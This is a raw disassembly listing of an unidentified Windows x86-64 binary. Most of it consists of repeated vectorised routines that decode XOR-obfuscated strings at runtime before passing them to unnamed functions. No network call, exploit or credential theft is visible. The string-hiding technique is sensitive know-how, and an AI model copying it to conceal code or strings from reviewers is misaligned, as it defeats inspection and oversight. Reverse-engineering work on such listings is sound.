movaps xmm1, xmm10
mov dword [0x140160a30], r14d
movss xmm2, dword [0x140149218]
jmp 0x140097807
movss xmm1, dword [0x1401a5968]
movss xmm2, dword [0x140149218]
comiss xmm2, xmm1
jbe 0x140097830
movss xmm0, dword [rcx + 0x18]
mulss xmm0, dword [0x1401492c0]
addss xmm1, xmm0
movss dword [0x1401a5968], xmm1
comiss xmm1, xmm2
jbe 0x140097830
movaps xmm1, xmm2
movss dword [0x1401a5968], xmm2
movaps xmm6, xmm2
subss xmm6, xmm1
mulss xmm6, xmm9
cmp byte [0x1401ab1f2], 0
je 0x14009bd6a
addss xmm7, xmm6
subss xmm7, xmm12
addss xmm8, xmm12
mov rax, qword [rcx + 0x40a0]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x40a0]
movss dword [rax + 0x118], xmm8
movss dword [rax + 0x11c], xmm7
mov byte [rax + 0x159], 1
subss xmm9, xmm15
movsd xmm0, qword [0x140145ab0]
movsd qword [rbp + 0x280], xmm0
movzx eax, byte [0x140145ab8]
mov byte [rbp + 0x280], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 0x281], 0x39
xor byte [rbp + 0x282], 0x3a
xor byte [rbp + 0x283], 0x3b
xor byte [rbp + 0x284], 0x3c
xor byte [rbp + 0x285], 0x3d
xor byte [rbp + 0x286], 0x3e
xor byte [rbp + 0x287], 0x3f
xor al, 0x40
mov byte [rbp + 0x288], al
mov eax, dword [str.ypwysi_]
mov dword [rbp - 0x28], eax
movzx ecx, word [0x1401463bc]
mov word [rbp - 0x24], cx
movzx eax, byte [0x1401463be]
mov byte [rbp - 0x28], 0x41
xor byte [rbp - 0x27], 0x39
xor byte [rbp - 0x26], 0x3a
xor byte [rbp - 0x25], 0x3b
xor cl, 0x3c
mov byte [rbp - 0x24], cl
xor byte [rbp - 0x23], 0x3d
xor al, 0x3e
mov byte [rbp - 0x22], al
mov r9b, 1
movss xmm0, dword [0x1401493c0]
unpcklps xmm0, xmm9
movq r8, xmm0
lea rdx, [rbp + 0x280]
lea rcx, [rbp - 0x28]
call fcn.14007f140
movups xmm0, xmmword [0x140145db8]
movups xmmword [rbp + 0x1028], xmm0
movsd xmm0, qword [0x140145dc8]
movsd qword [rbp + 0x1038], xmm0
cmp byte [reloc.WLDAP32.dll_Ordinal_79], 0
je 0x140097af0
cmp r12d, 2
jl 0x140097aaf
movdqa xmm5, xmmword [0x140149500]
mov edx, r13d
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0x102c]
mov r8d, dword [rbp + 0x17a0]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x1400979b0
jmp 0x140097af0
lea r9, [rbp + 0x1028]
mov r8d, r13d
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x140097ac0
mov eax, dword [str.W_YPX_]
mov dword [rbp - 0x20], eax
movzx eax, word [0x1401445f0]
mov word [rbp - 0x1c], ax
movzx eax, byte [0x1401445f2]
mov byte [rbp - 0x20], 0x45
xor byte [rbp - 0x1f], 0x39
xor byte [rbp - 0x1e], 0x3a
xor byte [rbp - 0x1d], 0x3b
xor byte [rbp - 0x1c], 0x3c
xor byte [rbp - 0x1b], 0x3d
xor al, 0x3e
mov byte [rbp - 0x1a], al
lea r8, [0x1401a97ad]
lea rdx, [rbp + 0x1028]
lea rcx, [rbp - 0x20]
call fcn.14007f300
movups xmm0, xmmword [0x140146968]
movups xmmword [rbp + 0xe00], xmm0
mov eax, dword [0x140146978]
mov dword [rbp + 0xe10], eax
cmp byte [0x14014697b], 0
je 0x140097d00
mov r8d, r13d
cmp r12d, 2
jl 0x140097cb5
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xe04]
mov edx, dword [rbp + 0x17a0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140097bb0
cmp r8d, 0x14
jge 0x140097d00
movsxd rax, r8d
lea r9, [rbp + 0xe00]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x140097cd0
mov eax, dword [str.VL_20edcba_]
mov dword [rsp + 0x6c], eax
cmp byte [0x1401460cf], 0
je 0x140097de0
cmp r12d, 2
jl 0x140097d9b
movdqa xmm3, xmmword [0x140149500]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140149820]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140149820]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.8888888888888888]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x6c], xmm2
jmp 0x140097de0
lea r9, [rsp + 0x6c]
mov r8d, r13d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140097db0
lea r8, [0x1401a97fd]
lea rdx, [rbp + 0xe00]
lea rcx, [rsp + 0x6c]
call fcn.14007f300
movsd xmm0, qword [str.t_RHl_BC]
movsd qword [rbp + 0x6d0], xmm0
mov eax, dword [0x140145908]
mov dword [rbp + 0x6d8], eax
cmp byte [0x14014590b], 0
je 0x140097f80
mov r8d, r13d
cmp r12d, 2
jl 0x140097f36
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.t_RHl_BC]
xorps xmm2, xmm0
movd dword [rbp + 0x6d0], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x6d4]
xorps xmm2, xmm1
movd dword [rbp + 0x6d4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x6d0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140097f50
movsd xmm0, qword [str.yPWYSI]
movsd qword [rbp + 0x6e0], xmm0
mov eax, dword [0x1401467a8]
mov dword [rbp + 0x6e8], eax
cmp byte [0x1401467ab], 0
je 0x140098100
mov r8d, r13d
cmp r12d, 2
jl 0x1400980be
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.yPWYSI]
xorps xmm2, xmm0
movd dword [rbp + 0x6e0], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x6e4]
xorps xmm2, xmm1
movd dword [rbp + 0x6e4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x6e0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400980d0
mov r9d, 0xffffffff
lea r8, [rbp + 0x6d0]
lea rdx, [0x1401a9800]
lea rcx, [rbp + 0x6e0]
call fcn.14003b460
movups xmm0, xmmword [str.p___s_A]
movups xmmword [rbp + 0x1668], xmm0
movups xmm0, xmmword [0x140145478]
movups xmmword [rbp + 0x1688], xmm0
mov eax, dword [0x140145490]
movsd xmm0, qword [0x140145488]
movups xmm1, xmmword [0x140145468]
mov dword [rbp + 0x16a0], eax
movsd qword [rbp + 0x1698], xmm0
movups xmmword [rbp + 0x1678], xmm1
mov r8d, r13d
cmp r12d, 2
jl 0x1400982b5
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0x166c]
mov edx, dword [rbp + 0x17a0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x1400981b0
cmp r8d, 0x3c
jge 0x140098300
movsxd rax, r8d
lea r9, [rbp + 0x1668]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3c
jl 0x1400982d0
movsd xmm0, qword [0x1401452b0]
movsd qword [rbp + 0x6f0], xmm0
mov eax, dword [0x1401452b8]
mov dword [rbp + 0x6f8], eax
cmp byte [0x1401452bb], 0
je 0x140098480
mov r8d, r13d
cmp r12d, 2
jl 0x14009843e
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1401452b0]
xorps xmm2, xmm0
movd dword [rbp + 0x6f0], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x6f4]
xorps xmm2, xmm1
movd dword [rbp + 0x6f4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x6f0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140098450
mov r9d, 7
lea r8, [rbp + 0x1668]
lea rdx, [0x1401a9804]
lea rcx, [rbp + 0x6f0]
call fcn.14003b460
movsd xmm0, qword [0x1401444d0]
movsd qword [rbp + 0x700], xmm0
mov eax, dword [0x1401444d8]
mov dword [rbp + 0x708], eax
cmp byte [0x1401444db], 0
je 0x140098620
mov r8d, r13d
cmp r12d, 2
jl 0x1400985de
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1401444d0]
xorps xmm2, xmm0
movd dword [rbp + 0x700], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x704]
xorps xmm2, xmm1
movd dword [rbp + 0x704], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x700]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400985f0
mov dword [rbp + 0x1808], 0x1f4
mov dword [rbp + 0x1800], r13d
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], r15
lea rax, [rbp + 0x1808]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1800]
lea r8, [0x14016092c]
mov edx, 4
lea rcx, [rbp + 0x700]
call fcn.14003b8c0
movsd xmm0, qword [0x140144a78]
movsd qword [rbp + 0x8c0], xmm0
mov eax, dword [0x140144a80]
mov dword [rbp + 0x8c8], eax
movzx eax, word [0x140144a84]
mov word [rbp + 0x8cc], ax
cmp byte [0x140144a85], 0
je 0x1400987f0
mov r8d, r13d
cmp r12d, 2
jl 0x1400987b2
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140144a78]
xorps xmm2, xmm0
movd dword [rbp + 0x8c0], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x8c4]
xorps xmm2, xmm1
movd dword [rbp + 0x8c4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x8c0]
add r9, rax
nop
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400987c0
mov dword [rbp + 0x17f8], 0x64
mov dword [rbp + 0x17f0], r13d
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], r15
lea rax, [rbp + 0x17f8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x17f0]
lea r8, [0x140160934]
mov edx, 4
lea rcx, [rbp + 0x8c0]
call fcn.14003b8c0
movups xmm0, xmmword [0x140144ad0]
movups xmmword [rbp + 0xa90], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x1400989e0
cmp r12d, 2
jl 0x14009899f
movdqa xmm5, xmmword [0x140149500]
mov edx, r13d
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xa94]
mov r8d, dword [rbp + 0x17a0]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400988a0
jmp 0x1400989e0
lea r9, [rbp + 0xa90]
mov r8d, r13d
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400989b0
mov dword [rbp + 0x17e8], 0x1f4
mov dword [rbp + 0x17e0], r13d
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], r15
lea rax, [rbp + 0x17e8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x17e0]
lea r8, [0x140160930]
mov edx, 4
lea rcx, [rbp + 0xa90]
call fcn.14003b8c0
mov rax, qword [str.yPWewXG_e]
mov qword [rbp + 0x240], rax
cmp byte [0x140145337], 0
je 0x140098b90
cmp r12d, 2
jl 0x140098b4f
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x240]
xorps xmm2, xmm1
movd dword [rbp + 0x240], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x244]
xorps xmm2, xmm1
